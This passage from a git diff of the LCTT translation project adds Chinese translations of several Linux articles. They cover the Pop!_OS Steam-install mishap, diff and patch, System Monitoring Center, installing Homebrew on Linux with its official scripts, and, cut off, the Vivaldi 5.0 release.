https://itsfoss.com/adding-external-repositories-ubuntu/ +[4]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/Installing_the_Debian_packages_step_1.png?resize=800%2C123&ssl=1 +[5]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/11/Installing_the_Debian_packages_step_2.png?resize=800%2C490&ssl=1 +[6]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/Installing_the_Debian_packages_step_3.png?resize=800%2C490&ssl=1 +[7]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/11/verify-cassandra.png?resize=800%2C443&ssl=1 +[8]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/11/Installing_the_Debian_packages_step_4.png?resize=800%2C164&ssl=1 +[9]: https://cassandra.apache.org/doc/latest/cassandra/getting_started/configuring.html +[10]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/Using_Docker_images_step_2.png?resize=800%2C275&ssl=1 +[11]: https://linuxhandbook.com/docker-run-vs-start-vs-create/ +[12]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/Using_Docker_images_step_3.png?resize=800%2C490&ssl=1 +[13]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/Using_Docker_images_step_4.png?resize=800%2C225&ssl=1 +[14]: https://cassandra.apache.org/doc/latest/index.html diff --git a/published/202112/20211129 It-s Time More Linux Distros and DEs Become ‘Linus-Proof.md b/published/202112/20211129 It-s Time More Linux Distros and DEs Become ‘Linus-Proof.md new file mode 100644 index 0000000000..f3f4a236d4 --- /dev/null +++ b/published/202112/20211129 It-s Time More Linux Distros and DEs Become ‘Linus-Proof.md @@ -0,0 +1,97 @@ +[#]: subject: "It’s Time More Linux Distros and DEs Become ‘Linus-Proof’" +[#]: via: "https://news.itsfoss.com/more-linux-distros-become-linus-proof/" +[#]: author: "Abhishek https://news.itsfoss.com/author/root/" +[#]: collector: "lujun9972" +[#]: translator: "imgradeone" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14053-1.html" + +是时候让更多 Linux 发行版和桌面环境接受“老莱暴捶”了 +====== + +![](https://i2.wp.com/news.itsfoss.com/wp-content/uploads/2021/11/linus-pop-os-lessons.png?w=1200&ssl=1) + +> “老莱” 体验 Pop!_OS 的视频狠狠地给桌面 Linux 社区上了一课。 + +过去的几周,整个 Linux 桌面社区沸腾了。 + +知名 YouTube 创作者 Linus(LCTT 译注:不是 Linux 之父 Torvalds,是 Linus Tech Tips 的 Sebastian,“老莱”是国内网友对 Linus Sebastian 的称呼。)决定在一个月内挑战日常使用 Linux 桌面。“老莱” 想了解 Linux 是否已经达到了对用户友好的程度,乃至于“技术呆”级别的用户都能轻松上手。他的专注点同样也放在了 [Linux 游戏][1] 上,毕竟电脑游戏确实也是 “老莱” 关注的一个领域。 + +这是一个有趣的概念,Linux 社区的许多人也十分兴奋,毕竟它向更广泛的技术受众群体免费宣传了桌面 Linux 平台。 + +唯一美中不足的是,这个日用 Linux 挑战 [从一开始就出了大乱子][2]。(LCTT 译注:[B 站][11] 中也有相应的中文字幕视频。) + +### “老莱”的 Pop!_OS 名(或者说是“冥”)场面 + +(LCTT 译注:原文标题使用的是 (in)famous,同时指代“著名”和“臭名昭著”,此处的“冥场面”偏向事件悲剧性。) + +“老莱” 决定 [安装 Pop!_OS][3],因为 Pop!\_OS 经常在社区中作为适合游戏的主流发行版出现。接下来,他尝试在软件中心(即 Pop!\_Shop)安装 Steam,但软件中心未能成功安装 Steam。 + +![Sebastian 安装 Steam 时遇到了问题][4] + +既然没能通过图形化方式安装,他接下来做了其他所有 Linux 用户都会做的事情。他打开了终端,运行了神奇的 `sudo apt-get install` 命令。 + +![Sebastian 换用命令行方式安装 Steam][5] + +无论是图形化方式还是终端方式,Pop!_OS 都显示了一条警告,提示用户正濒临卸载关键软件包的危险。 + +命令行方式清晰明了地警告:“_**您的操作有潜在的危害性。若要继续,请输入下面的短句“是,按我说的做!(Yes, do as I say!)”**_。” + +![忽略移除关键软件包的警告][6] + +对于大部分 Linux 用户来说,到这一步就真的得停下来,深思熟虑了。输出的内容明确显示,接下来即将删除 `gdm3`、`pop-desktop` 和其他许多桌面环境要素。 + +但人们一般不会在意警告。于是 “老莱” 直接继续安装,最终就剩下了一个不能登录图形界面的损坏系统。 + +![意识到他的 Pop!_OS 彻底出乱子后的 Linus Sebastian(不是 Torvalds)][7] + +### 给桌面 Linux 开发者的深刻教训 + +对于开发者来说,这里有两点教训值得注意: + + * 安装 Steam 或任何其他常规软件时,不能导致关键的图形界面软件包被删除。 + * 在一款常规的、主流的发行版中,用户不应该能删除关键软件包。 + +Pop!_OS 迅速修复了 Steam 的问题,并增加了防御机制以阻止删除关键的桌面要素。 + +> 出于某些原因,i386 版的软件包不能在 Launchpad 上发布。Steam 是一个 i386 软件包,在尝试安装 Steam 时不得不将该软件包降级到 Ubuntu 版本以解决依赖问题,然后就删除了 Pop!_OS 的软件包。 +> +> — Jeremy Soller (@jeremy_soller) [2021 年 10 月 26 日][8] + +为避免此类事故,Pop!\_OS 为 APT 包管理器制作了补丁。现在,用户无法在 Pop!\_OS 通过输入“**是,按我说的做!(Yes, do as I say!)**”来删除关键软件包了。相反,用户将需要添加一个特殊文件来启用该功能(如果某个人真的想把这些关键软件包删掉的话)。(LCTT 译注:APT 2.3.12 上游已经彻底禁用卸载关键软件包的功能。) + +对于 Pop!\_OS 来说,这确实是一个好举措。但,这并不仅仅是 Pop!\_OS 单方面的教训。大多数 Linux 发行版都可能会遇到这种情况,并最终删除掉桌面环境和显示服务器。 + +KDE 已经注意到了这一点,并在即将发布的 Plasma 5.24 中 [添加了禁止卸载 Plasma 桌面的功能][9]。 + +![KDE Plasma 不允许用户卸载 Plasma 桌面][10] + +许多人责怪 “老莱” 不顾清晰明确的警告,直接继续并走向灾难。但问题在于,许多用户真的不会在意 “警告” 这种东西,不管他们技术水平如何。人们只是觉得按 “Y” 或者其他东西就是程序正常的部分,也不会去多想。一些 Linux 用户之前已经踩过这种坑了,但未来可能还会有更多人重蹈覆辙。 + +这就是为什么添加故障保护措施才是明智之举。这是所有主流发行版都应该做的事。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/more-linux-distros-become-linus-proof/ + +作者:[Abhishek][a] +选题:[lujun9972][b] +译者:[imgradeone](https://github.com/imgradeone) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/root/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/linux-gaming-guide/ +[2]: https://www.youtube.com/watch?v=0506yDSgU7M&t=788s +[3]: https://itsfoss.com/install-pop-os/ +[4]: https://i1.wp.com/news.itsfoss.com/wp-content/uploads/2021/11/pop-os-failed-steam-install.webp?w=1233&ssl=1 +[5]: https://i2.wp.com/news.itsfoss.com/wp-content/uploads/2021/11/pop-os-failed-steam-install-1.webp?w=1118&ssl=1 +[6]: https://i2.wp.com/news.itsfoss.com/wp-content/uploads/2021/11/pop-os-failed-steam-install-2.webp?w=1087&ssl=1 +[7]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/11/linus-sebastian-nukes-pop-os-while-installing-steam-os.webp?w=1232&ssl=1 +[8]: https://twitter.com/jeremy_soller/status/1453008808314351628?ref_src=twsrc%5Etfw +[9]: https://linux.cn/article-14015-1.html +[10]: https://i2.wp.com/news.itsfoss.com/wp-content/uploads/2021/11/cant-remove-plasma-1.png?w=1022&ssl=1 +[11]: https://www.bilibili.com/video/BV1Fh411b7q3?t=769 diff --git a/published/202112/20211130 Collaborate on a file using Linux diff and patch.md b/published/202112/20211130 Collaborate on a file using Linux diff and patch.md new file mode 100644 index 0000000000..c858df7d34 --- /dev/null +++ b/published/202112/20211130 Collaborate on a file using Linux diff and patch.md @@ -0,0 +1,142 @@ +[#]: subject: "Collaborate on a file using Linux diff and patch" +[#]: via: "https://opensource.com/article/21/11/linux-diff-patch" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14037-1.html" + +使用 Linux 的 diff 和 patch 对文件进行协作 +====== + +> 如果你曾经试图通过电子邮件或聊天来协作处理文件,并且发现自己试图描述需要修改的地方,那么你会喜欢 `diff` 和 `patch` 的。 + +![](https://img.linux.net.cn/data/attachment/album/202112/01/102607jmjbpu1jk1as61j1.jpg) + +我编辑过很多文本文件。有时是代码。其他时候是角色扮演游戏(RPG)、编程书籍或一般信件的书面文字。有时候,做一个修改,而能让我的协作者把我的修改和他们原来写的东西进行比较就更好了。许多人默认使用办公套件(如 [LibreOffice][2])的注释或更改跟踪功能。不过有时更简单的工具更有意义,为此,你可以看看像 `diff` 和 `patch` 这样的工具的编程历史,它们为跟踪和应用共享文件的变化提供了标准化的格式。 + +即使对于简单的文件,在同步两个文件时也有复杂性。一些项目被改变,另一些被保留,新的内容被添加,还有一些保持不变,但被移到文件的不同位置。如果接受所有的变化,并且用新文件替换旧文件,就很难复制变化。它也是整体不透明的。如果变化很多,就很难挑出到底发生了什么变化。 + +通过 `diff` 命令,你可以创建一个文件变化的记录,通过 `patch` 你可以在旧版本上“重放”这些变化,使其与新版本保持一致。 + +### 设置 + +假设你和我正在合作编写一个描述如何泡茶的文件。 + +到目前为止,文件 `tea.md` 包含原始的复制粘贴来的内容: + +``` +烧开水。 +加热茶壶。 +在茶壶中加入茶和水。 +在茶壶上放置一个茶叶滤网。 +浸泡 6 分钟。 +将茶倒入杯中。 +加入牛奶。 +``` + +这似乎很合理,但总有一些优化可以做,所以你把文件发给我改进。为了澄清泡茶过程,我把文件复制为`tea-revision.md`,并进行编辑,最后是这样的: + +``` +在烤箱的抽屉中加热茶壶。 +烧开水。 +将茶叶放入茶叶滤网。 +将滤网和水加入茶壶。 +浸泡 6 分钟。用茶壶罩保温。 +将茶倒入杯中。 +可以选择加入温牛奶。 +``` + +正如预期的那样,一些项目(“烧开水”和“将茶倒入杯中”)没有变化,而其他行(“加热茶壶”)则有增加。有些行是全新的,有些行是相同的,但顺序不同。 + +### 创建一个差异 + +`diff` 工具会显示两个文件之间的差异。有几种不同的方法来查看结果,但我认为最清楚的是 `—unified`(简写为 `-u`)视图,它显示哪些行被增加或减少了。以任何方式改变的行都被视为先减后增的行。默认情况下,`diff` 将其输出打印到终端。 + +向 `diff` 提供旧文件,然后是新文件: + +``` +$ diff --unified tea.md tea-revised.md  +--- tea.md      2021-11-13 10:26:25.082110219 +1300 ++++ tea-revised.md      2021-11-13 10:26:32.049110664 +1300 +@@ -1,7 +1,7 @@ ++在烤箱的抽屉中加热茶壶。 + 烧开水。 +-加热茶壶。 +-在茶壶中加入茶和水。 +-在茶壶上放置一个茶叶滤网。 +-浸泡 6 分钟。 ++将茶叶放入茶叶滤网。 ++将滤网和水加入茶壶。 ++浸泡 6 分钟。用茶壶罩保温。 + 将茶倒入杯中。 +-加入牛奶。 ++可以选择加入温牛奶。 +``` + +行首的加号(`+`)表示在旧文件中增加了一些内容。行首的减号(`-`)表示被删除或改变的行。 + +### 用 diff 创建一个补丁 + +补丁文件就是将 `diff —unified` 命令的输出放到一个文件中。你可以用标准的 Bash 重定向来做这件事: + +``` +$ diff -u tea.md tea-revised.md > tea.patch +``` + +该文件的内容与输出到终端的内容完全相同。我喜欢在 [Emacs][3] 中查看补丁文件,它对每一行进行颜色编码,取决于它是被添加还是被减去。 + +![Emacs中的补丁文件][4] + +### 用补丁应用修改 + +一旦我有了补丁文件,我就可以把它发给你,让你审查,并且可以选择应用到你的旧文件中。你可以用 `patch` 命令来应用一个补丁。 + +``` +$ patch tea.md tea.patch +``` + +增加了一些行,减少了一些行,最后,你得到了一个与我的版本相同的文件: + +``` +$ cat tea.md +在烤箱的抽屉中加热茶壶。 +烧开水。 +将茶叶放入茶叶滤网。 +将滤网和水加入茶壶。 +浸泡 6 分钟。用茶壶罩保温。 +将茶倒入杯中。 +可以选择加入温牛奶。 +``` + +你可以给一个文件打多少次补丁,这是没有限制的。你可以对我的修改进行迭代,生成一个新的补丁,然后发给我审核。发送修改内容而不是结果,可以让每个贡献者审查修改的内容,决定他们要保留或删除的内容,并准确地记录过程。 + +### 安装 + +在 Linux 和 macOS 上,你已经有了 `diff` 和 `patch` 命令。在 Windows 上,你可以通过 [Cygwin][6] 获得 `diff` 和 `patch`,或者使用 Chocolatey 搜索 [diffutils][7] 和 [patch][8]。 + +如果你曾经试图通过电子邮件或聊天来协作处理文件,并且发现自己需要 _描述_ 需要修改的地方,那么你会喜欢 `diff` 和 `patch`。一个结构严谨的文件,如代码或以行为单位的 [Markdown][9],很容易进行差异比较、补丁和维护。  + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/11/linux-diff-patch + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/checklist_hands_team_collaboration.png?itok=u82QepPk (a checklist for a team) +[2]: https://opensource.com/article/21/9/libreoffice-tips +[3]: https://opensource.com/article/20/12/emacs +[4]: https://opensource.com/sites/default/files/uploads/emacs_0_1.jpg (A patch file in Emacs) +[5]: https://creativecommons.org/licenses/by-sa/4.0/ +[6]: https://cygwin.com +[7]: https://community.chocolatey.org/packages/diffutils +[8]: https://community.chocolatey.org/packages/patch +[9]: https://opensource.com/article/19/9/introduction-markdown diff --git a/published/202112/20211130 System Monitoring Center is an Ideal Task Manager - Resource Monitor for Linux.md b/published/202112/20211130 System Monitoring Center is an Ideal Task Manager - Resource Monitor for Linux.md new file mode 100644 index 0000000000..93fdbdd7d7 --- /dev/null +++ b/published/202112/20211130 System Monitoring Center is an Ideal Task Manager - Resource Monitor for Linux.md @@ -0,0 +1,105 @@ +[#]: subject: "System Monitoring Center is an Ideal Task Manager & Resource Monitor for Linux" +[#]: via: "https://itsfoss.com/system-monitoring-center/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14069-1.html" + +系统监控中心:一个理想的 Linux 任务管理器和资源监视器 +====== + +> “系统监控中心”是一个多合一的开源应用,不用使用多种工具就可以监控基本的系统资源情况。 + +![](https://img.linux.net.cn/data/attachment/album/202112/10/131211ng09sz76u2b7gbaw.jpg) + +在 Linux 上以图形方式监控系统资源可能体验不是很好,这些与你的桌面环境相配套的系统监控工具可能细节有限。 + +例如,GNOME 的系统监视器不显示 CPU 频率和温度。 + +此外,Linux 的默认系统监控程序通常以简单为目标,而不是提供详细的信息。 + +“系统监控中心System Monitoring Center” 是一个有用的 GUI 工具,它提供了大量必要的信息。在这篇文章中,让我给你详细介绍一下它。 + +### 系统监控中心:显示基本系统统计信息的 Linux 应用 + +![][1] + +系统监控中心是一个基于 GTK3 和 Python 3 的外观时尚的应用,它为你提供了你想要的所有资源使用数据。 + +在我的例子中,我想在使用系统监控工具时关注 CPU 的频率,但 GNOME 的系统监控工具提供不了帮助。所以,这个应用就非常有用了。 + +![][2] + +该应用的用户体验良好,并提供了大量的信息和功能。让我重点介绍一下它的主要功能。 + +> 写这篇文章时,该应用程序仍处于测试阶段。因此,你可能会遇到一些错误。然而,我在简短的测试中没有注意到任何问题。 + +### 系统监控中心的功能 + +![][3] + +首先,它可以让你查看 CPU、内存、磁盘、网络、GPU 和传感器的单独统计数据。 + +你可以在该工具中看到以下细节信息: + + * 显示 CPU 状态,包括频率 + * 能够显示平均使用率或每个核心的使用率 + * 可以选择 CPU 频率和其他统计的精度 + * 能够改变图表的颜色 + * 按用户过滤系统进程并轻松管理它们 + * 切换一个浮动的摘要小部件,以快速获得信息 + * 显示磁盘使用信息和连接的驱动器 + * 在同一个应用中显示详细的系统信息 + * 控制启动服务和程序 + * 能够控制状态更新的时间间隔 + * 应用本身的系统资源使用率较低 + * 适应系统主题 + +虽然它为每个标签(或组件)提供了大量的选项和自定义功能,但我希望它能在未来的更新中包括 RAM 频率等东西。 + +![][4] + +然而,考虑到它可以同时取代磁盘使用分析器和 `neofetch` 等终端工具,其余的数据似乎非常有用。 + +![][5] + +请注意,如果你有多个机箱风扇、独立的排风扇或 AIO,你可能无法得到风扇的数据。温度也可能有或没有,但 CPU 的温度应该是可见的。 + +### 在 Linux 中安装系统监控中心 + +你可以使用可用的 deb 包在任何基于 Ubuntu 的发行版上轻松安装它。 + +不幸的是,没有可用的其他软件包,只有一个 ZIP 文件,你得手动构建和编译才能安装它。你在 ZIP 文件中可以找到一个脚本来构建 RPM 包。 + +deb 文件可以通过 SourceForge 获得。你点击下面的按钮来下载它,或者在他们的 [GitLab 页面][6] 找到。 + +- [下载系统监控中心][7] + +### 总结 + +系统监控中心是一个开源应用,可以让用户详细了解他们的系统资源,并帮助管理进程。 + +对于许多 Linux 用户来说,这是一个非常需要的应用,不需要使用单独的终端/GUI 程序就可以提供详细的信息。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/system-monitoring-center/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/system-monitoring-center.png?resize=800%2C611&ssl=1 +[2]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/system-monitoring-center-full-info.png?resize=800%2C585&ssl=1 +[3]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/11/system-monitoring-center-options.png?resize=582%2C576&ssl=1 +[4]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/11/system-cpu-monitoring.png?resize=800%2C599&ssl=1 +[5]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/system-monitoring-center-process.png?resize=800%2C592&ssl=1 +[6]: https://kod.pardus.org.tr/Hakan/system-monitoring-center +[7]: https://sourceforge.net/projects/system-monitoring-center/files/latest/download diff --git a/published/202112/20211201 Installing and Using Homebrew Package Manager on Linux.md b/published/202112/20211201 Installing and Using Homebrew Package Manager on Linux.md new file mode 100644 index 0000000000..2d67d4144e --- /dev/null +++ b/published/202112/20211201 Installing and Using Homebrew Package Manager on Linux.md @@ -0,0 +1,202 @@ +[#]: subject: "Installing and Using Homebrew Package Manager on Linux" +[#]: via: "https://itsfoss.com/homebrew-linux/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14065-1.html" + +在 Linux 上安装和使用 Homebrew 包管理器 +====== + +![](https://img.linux.net.cn/data/attachment/album/202112/09/090614sptwo73z73f7fw7u.jpg) + +Homebrew(家酿),也被称为 Brew,是一个主要为 macOS 创建的命令行包管理器。 + +[Homebrew][1] 在 macOS 用户中相当流行,因为更多的开发者创造了可以用 Homebrew 轻松安装的命令行工具。 + +这种流行导致了 Linuxbrew 的诞生,它是 Homebrew 的一个 Linux 移植版。由于它主要是 Git 和 Ruby 组成的,而 Linux 和 macOS 都是类 Unix 的系统,所以 Brew 在两种操作系统上都能很好地工作。 + +Linuxbrew 项目最终与 Homebrew 项目合并,现在只有一个 Brew 项目,叫做 Homebrew。 + +为什么我叫它 Brew,而不是 Homebrew?因为命令以 `brew` 开头。你会在后面的章节中看到它的详细内容。 + +### 当你已经有了 apt、dnf、snap 时,为什么还要在 Linux 上使用 Homebrew 包管理器? + +我知道这种感觉。你已经有一个由你的发行版提供的好的 [包管理器][2]。除此之外,你还有 Snap、Flatpak 和其他通用软件包系统。 + +在你的 Linux 系统上你真的需要 Homebrew 包管理器吗?答案取决于你的需求。 + +你看,除了发行版的包管理器和通用包管理器,你会遇到需要其他包管理器的情况,比如 [Pip][3] (用于 Python 应用)和 [Cargo][4] (用于 Rust 软件包)。 + +想象一下,你遇到了一个很好的命令行工具,想试试。它的软件库提到它可以使用 `brew` 或源代码来安装。在这种情况下,在你的系统上有 `brew` 可能会有帮助。毕竟,都 2021 了,[从源代码安装][5] 并不时髦(也不舒服)。 + +换句话说,如果你遇到一些有趣的命令行工具只提供 `brew` 安装选项,你会有一个额外的选择。 + +### 在 Ubuntu 和其他 Linux 发行版上安装 Homebrew + +安装是相当容易的。你只需要确保你已经有了所有的依赖项。 + +#### 步骤 1:安装依赖项 + +你需要有相对较新版本的 gcc 和 glibc。你可以 [在 Ubuntu 上安装 build-essential 包][6] 来获得它们。除此之外,你还需要 [安装 Git][7]、Curl 和 procps(用于监控系统进程)。 + +在基于 Ubuntu 和 Debian 的系统中,你可以像这样一起安装所有这些东西: + +``` +sudo apt-get install build-essential procps curl file git +``` + +![Iinstall dependencies for Homebrew in Ubuntu/Debian][8] + +对于其他发行版,请使用你的包管理器并安装这些依赖项。 + +#### 步骤 2:安装 Homebrew + +你可以看到为什么你需要 [安装 Curl][9]。它允许你 [在终端下载安装脚本文件][10]。 + +只要输入这个命令: + +``` +/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" +``` + +当要求输入回车键时,请按下回车。 + +![Installing Homebrew on Ubuntu][11] + +在脚本最后,它建议运行几个命令,将其添加到 `PATH` 变量中。Homebrew 实际上是安装在你的主目录中,然后软链接到 `/usr/local` 目录中。 + +![Run the suggested command under Next steps to add Homebrew to PATh variable][12] + +你可以 [在终端方便地复制和粘贴][13]。只要选择它所建议的命令,按 `Ctrl+Shift+C` 复制,按 `Ctrl+Shift+V` 粘贴。 + +或者,你也可以直接复制粘贴这个命令: + +``` +echo 'eval "$(/home/linuxbrew/.linuxbrew/bin/brew shellenv)"' >> $HOME/.bash_profile +``` + +然后是这个: + +``` +eval "$(/home/linuxbrew/.linuxbrew/bin/brew shellenv)" +``` + +![Adding brew commands to the PATH][14] + +#### 步骤 3:验证 brew 的安装 + +就快完成了。只需通过使用 `brew doctor` 命令来验证 `brew` 命令是否可以运行: + +``` +brew doctor +``` + +`brew doctor` 命令会告诉你是否有任何问题。 + +你可以通过安装示例 hello 项目再次验证: + +``` +brew install hello +``` + +如果你没有看到任何错误,你可以在 Linux 上享用家酿了。 + +### 使用 brew 命令来安装、删除和管理软件包 + +让我快速告诉你几个可以用来安装、删除和管理软件包的 `brew` 命令。 + +由于 Homebrew 安装在你的主目录中,你不需要 `sudo` 来运行它(就像 Pip 和 Cargo)。 + +要用 `brew` 安装一个软件包,请使用安装选项: + +``` +brew install package_name +``` + +这里没有自动完成软件包名称的功能。你需要知道确切的软件包名称。 + +要删除一个 `brew` 软件包,你可以使用 `remove` 或 `uninstall` 选项。两者的作用是一样的。 + +``` +brew remove package_name +``` + +你也可以用这个命令列出已安装的 `brew` 软件包: + +``` +brew list +``` + +你也可以用 `autoremove` 选项删除不需要的依赖: + +``` +brew autoremove +``` + +在下一张截图中,我只用 `brew` 安装了两个软件包,但它也显示了这些软件包的依赖关系。即使在移除软件包后,依赖关系仍然存在。`autoremove` 终于把它们删除了。 + +![Listing and removing brew apckages][15] + +还有很多 `brew` 命令选项,但这不在本教程的范围内。你可以随时 [翻阅它的文档][16] 并进一步探索。 + +### 从 Linux 中删除 Homebrew + +如果不加入从你的 Linux 系统中删除 Homebrew 的步骤,本教程就不完整。 + +根据 [GitHub 仓库中提到的步骤][17],你必须下载并使用这个命令运行卸载脚本: + +``` +/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/uninstall.sh)" +``` + +你会被要求输入 `Y` 键来确认删除。 + +![Removing Homebrew from Linux][18] + +当 Homebrew 的卸载完成后,它会列出它所遗留的文件和目录: + +![Remaining files after Homebrew removal][19] + +让你自己去删除这些文件和目录。 + +### 总结 + +正如我前面解释的,Homebrew 为你已经有的东西提供了一个扩展。如果你偶然发现一个只有 `brew` 安装方式的应用,在你的 Linux 系统上安装 Homebrew 会很方便。 + +你对这个话题有什么要补充的,或者分享你的问题或意见?请在评论区留言。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/homebrew-linux/ + +作者:[Abhishek Prakash][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lujun9972 +[1]: https://brew.sh/ +[2]: https://itsfoss.com/package-manager/ +[3]: https://itsfoss.com/install-pip-ubuntu/ +[4]: https://itsfoss.com/install-rust-cargo-ubuntu-linux/ +[5]: https://itsfoss.com/install-software-from-source-code/ +[6]: https://itsfoss.com/build-essential-ubuntu/ +[7]: https://itsfoss.com/install-git-ubuntu/ +[8]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/install-dependencies-for-homebrew-linux.png?resize=800%2C493&ssl=1 +[9]: https://itsfoss.com/install-curl-ubuntu/ +[10]: https://itsfoss.com/download-files-from-linux-terminal/ +[11]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/11/installing-homebrew-ubuntu.png?resize=800%2C453&ssl=1 +[12]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/11/adding-homebrew-to-path-Linux.png?resize=800%2C442&ssl=1 +[13]: https://itsfoss.com/copy-paste-linux-terminal/ +[14]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/post-installation-steps-for-brew.png?resize=786%2C348&ssl=1 +[15]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/brew-remove-packages.png?resize=800%2C572&ssl=1 +[16]: https://docs.brew.sh/Manpage +[17]: https://github.com/homebrew/install#uninstall-homebrew +[18]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/removing-homebrew-from-Linux.png?resize=800%2C539&ssl=1 +[19]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/remaining-files-after-homebrew-removal.png?resize=800%2C464&ssl=1 diff --git a/published/202112/20211202 Vivaldi 5.0 Brings Two-Level Tabs to Android - Adds New Features for Desktop.md b/published/202112/20211202 Vivaldi 5.0 Brings Two-Level Tabs to Android - Adds New Features for Desktop.md new file mode 100644 index 0000000000..9b85466f49 --- /dev/null +++ b/published/202112/20211202 Vivaldi 5.0 Brings Two-Level Tabs to Android - Adds New Features for Desktop.md @@ -0,0 +1,133 @@ +[#]: subject: "Vivaldi 5.0 Brings Two-Level Tabs to Android & Adds New Features for Desktop" +[#]: via: "https://news.itsfoss.com/vivaldi-5-0-release/" +[#]: author: "Rishabh Moharir https://news.itsfoss.com/author/rishabh/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14044-1.html" + +Vivaldi 5.0 发布! +===== + +![](https://i1.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/vivaldi-5-0-ft.jpg?w=1200&ssl=1) + +> 对于那些喜欢在桌面和安卓系统上进行定制和增加功能的用户来说,Vivaldi 5.0 是一个令人兴奋的版本。 + +Vivaldi 是一个基于 Chromium 的网页浏览器,可用于 Linux(及其他平台)。它因其增强功能和多任务特性而广为人知。这使它成为 [Linux 上最好的网页浏览器][1] 之一,特别是对于高级用户来说。 + +随着 Vivaldi 5.0 的发布(以纪念其 5 周年),它推出了一系列重大功能增加和改进。 + +让我们来看看 Vivaldi 的新版本有什么特点。 + +### Vivaldi 5.0 的新功能 + +请注意,Vivaldi 除了其用户界面之外大部分是 [开源][2] 的。然而,他们倾向于把重点放在 Linux 平台的改进上肯定是件好事。 + +以下是你可以在 Vivaldi 5.0 发现的变化: + +#### Vivaldi 主题 + +![致谢:Vivaldi 博客][3] + +主题一直是 Vivaldi 最好的功能之一,不仅仅是因为它有各种预装的主题,而是你可以定制你的主题或编辑预装的主题。 + +它的主题编辑器已经更新,有更多可以定制的选项。你现在可以编辑颜色、边角、背景和设置来定制主题。以前,你必须单独编辑背景图片,而现在新的主题编辑器应该很方便使用。 + +而且,并不止于此,你已经创建好了你的主题? + +现在,你可以使用新的“导出主题Export Theme”选项轻松地生成一个 ZIP 文件,与任何人分享你的主题。同样地,你也可以导入一个主题。 + +![致谢:Vivaldi 博客][12] + +更进一步地,你可以把你新设计的主题提交到他们的 [社区画廊][4]。你也可以从那里找到其他用户的主题,并安装它们。 + +#### 新的翻译面板 + +![video][5] + +在 [Vivaldi 4.0 发布时][6],他们引入了由 [Lingvanex][7] 提供的内置翻译功能。 + +现在,通过侧边栏中新的“翻译面板Translate Panel”,你可以快速添加一个文本片段并进行翻译,而无需翻译整个网页。 + +Vivaldi 的侧面板以提高多任务处理能力而闻名,而这个功能的增加应该会加强这一点。 + +如果你想翻译更多的片段呢?当然,你肯定不想一直继续复制粘贴它们! + +对于这个特殊的需求,Vivaldi 还引入了一个“一步自动翻译one-step auto-translate”选项。一旦启用该选项,突出显示你在网页中想要的文本,它的翻译将立即出现在侧面板上。这听起来很酷! + +#### 在弹出式窗口中查看下载 + +![致谢:Vivaldi博客][13] + +虽然 Vivaldi 